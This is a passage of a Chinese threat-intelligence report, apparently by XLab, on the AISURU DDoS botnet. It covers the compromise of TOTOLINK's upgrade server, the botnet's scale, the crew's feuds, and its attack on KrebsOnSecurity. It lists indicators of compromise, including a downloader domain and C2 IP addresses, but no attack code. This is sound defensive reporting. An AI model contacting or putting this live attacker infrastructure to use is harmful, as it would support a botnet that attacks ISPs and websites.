inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=8058dc18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIr5qLBA9wUVGc3v7xSvUVLYK3Ymdm0K7hpibjEe9Sx8eV0jytlVJ7zlA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">这次入侵让AISURU僵尸网络的规模迅速攀升，在极短的时间内突破10万级。如此庞大的规模，让他们也有点措手不及，不得不牺牲睡觉时间，加班加点在数个C2 IP上配置策略，配合GRE TUNNEL进行分流。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000450" alt="aisuru_gretunnel.png" class="rich_pages wxw-img" data-ratio="0.4798439531859558" data-type="png" data-w="769" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=3e4cc956&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIWOTyDib3toOFqONl1UzwIUA32DSrqWwN3TME4xobzDq3mtsN4jUhIgA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">AISURU团伙成员行事张扬，常以“好玩”为由对ISP发动攻击，破坏性非常强。这使得他们在DDoS圈内口碑非常差，常被别人戏称为“精神不正常”，可以说是树敌无数。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000451" alt="aisuru_respect.png" class="rich_pages wxw-img" data-ratio="0.16203703703703703" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=9b68f2af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJI5sVEjgocLn2USDLpLfPc8bd9L383kwclBWFYb94fw1VLew78biaLoPg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">4月底，DDoS圈内人士决定给AISURU团伙一点颜色看看，开始在社交媒体各种爆料。先是在一次Cloudlare表示缓解创记录的5.8Tbps的推文下，回复道：“这是来自340k totolink路由的攻击！”；几天又曝光更重量级的证据：僵尸网络的后台截图。从统计数据来看当时bot在线总数超过30万，其中3万来自中国。他一边高呼“welcome to totolink botnet”，一边@</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">totolink以及国际刑警</span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，希望引起公众，执法机构注意，以实现对AISURU的打击意图。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000453" alt="aisuru_static.png" class="rich_pages wxw-img" data-ratio="0.3511166253101737" data-type="png" data-w="806" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=aed13ab1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIwgaEqgsLKxDicicl0ldHvXUXe9VvNTlByQ3XqjAHmiaYjTk67Kbey3x3Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">目前totolink升级服务器的漏洞已被修补，AIRUSU团伙也幽默的表示</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">RIP TOTOLINK 2025-2025</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，但其实AIRUSU僵尸网络的规模并未被影响，依然保持在30万左右。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000452" alt="aisuru_patch.png" class="rich_pages wxw-img" data-ratio="1.0308285163776494" data-type="png" data-w="519" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=80db90fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIx8UNrfN0A8V2BMSgGoWEl1IE1rFQ0QHC9WIF95pgUfr0iaoNRAquHHg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">在2025年9月创记录的12.1 Tbps之前，Aisuru做过数次攻击测试，包括对知名记者Brian Krebs个人网站的攻击，攻击流量均创造了当时的“世界记录”。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000455" alt="aisuru_talk.png" class="rich_pages wxw-img" data-ratio="1.089928057553957" data-type="png" data-w="834" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=fb3dcb3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIZAm2GD3weza2amqX9hK7EhXEv4XkLSQnzRhSib24dNkBnMEg2YMApibQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">有意思的是“Ethan J Foltz”是Rapper Botnet的作者的真名，他于2025年8月6日被捕；而上图中“Ethan J Foltz”这个ID背后之人其实是Snow，他使用这种方式赤裸裸的嘲讽Rapperbot，这或许是AISURU团伙在DDoS圈人人喊打的原因之一。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">XLab视野</span></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">对于匿名消息源提供的故事，读者肯定会有类似的想法：</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">“这的确是很有趣的瓜，可你这瓜保熟不？”</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">我们或许无法验证这些人物，但依托于XLab大网威胁感知系统强大的监测能力，我们对</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">样本，C2，攻击事件</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">均有良好的视野。以该团伙的数次关键活动为线索，通过数据交叉比对，</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">我们认为匿名消息源提供的情报具有较高的可信度</span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">。</span></p><h4><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">1：2025年4月向totolink升级服务器植入的恶意脚本t.sh</span></span></h4><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000459" alt="aisuru_download.png" class="rich_pages wxw-img" data-ratio="0.26851851851851855" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=e9d25d89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIo4bPIe3LT545ic1JJ2mgJ3b1zWiazqxQD6U9wjrl1O5ZRoHsWPfOpbKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">从26日起，脚本开始使用一个域名updatetoto.tw，可以通过域名排名系统Tranco来衡量它的活跃程序。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000458" alt="aisuru_tranco.png" class="rich_pages wxw-img" data-ratio="0.14074074074074075" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=ec6b9d23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJI9X1oJwtwmU7quicARtBhWyERCwRK8QaibJ6ZQMZspicGPHIuKv8SDHRvA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">以4月29日到5月30日的排名为例，updatetoto.tw这个于4月25日才创建的Downloader域名在短短的一个月内就在全球域名中排到了672588，证明AISURU团伙这次的感染活动非常成功。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000456" alt="aisuru_rank.png" class="rich_pages wxw-img" data-ratio="0.4371395617070358" data-type="png" data-w="867" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=015865ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIBgKHL2lCXhPY3hkYcmSlnAsTMuQZnWIDDBsJG9iciatVmfVWaiaHTHxfA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">2：2025年4月开启GRE TUNNEL的C2 IP</span></span></h4><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Aisuru团伙在151.242.2.[22 - 25]这4个IP 配置GRE Tunnel，它们角色其实是C2服务器。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000460" alt="aisuru_gre.png" class="rich_pages wxw-img" data-ratio="0.2360655737704918" data-type="png" data-w="915" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=8a6aab79&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJI8XxKib173BkDPsxLuYqruUZicVCjv7icxL6icpw5jbExKW4QDZiaRGDtCCQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">而我们在4月份捕获的C2 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">approach.ilovegaysex[.]su</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">的TXT记录解密后涵盖了这4个IP，说明这个C2隶属于Aisuru团伙。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000457" alt="aisuru_pdns.png" class="rich_pages wxw-img" data-ratio="0.48794489092996557" data-type="png" data-w="871" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=335af104&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIiaKbOnYDB3ESYG7jArbhqf614Cba8sYqTF7RTGAickicnjglibnJXF0cxQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">3：2025年5月对KrebsOnSecurity的攻击</span></span></h4><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">对恶意域名 ilovegaysex 所关联的 C2 服务器进行指令跟踪，今年5月监测到其针对网络安全调查记者 Brian Krebs 的个人博客发起了网络攻击。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000462" alt="aisuru_kreb.png" class="rich_pages wxw-img" data-ratio="0.20092592592592592" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=8b3886ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiaFRf0dVEKiaPSdP0fEGuXJIia5yzY7EsCPUkPjR5T1umxusRWFMg8qoP86UibMIh5wMgIFaEypZP3Cg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4><span leaf="" style="color:rgba(0, 0, 0, 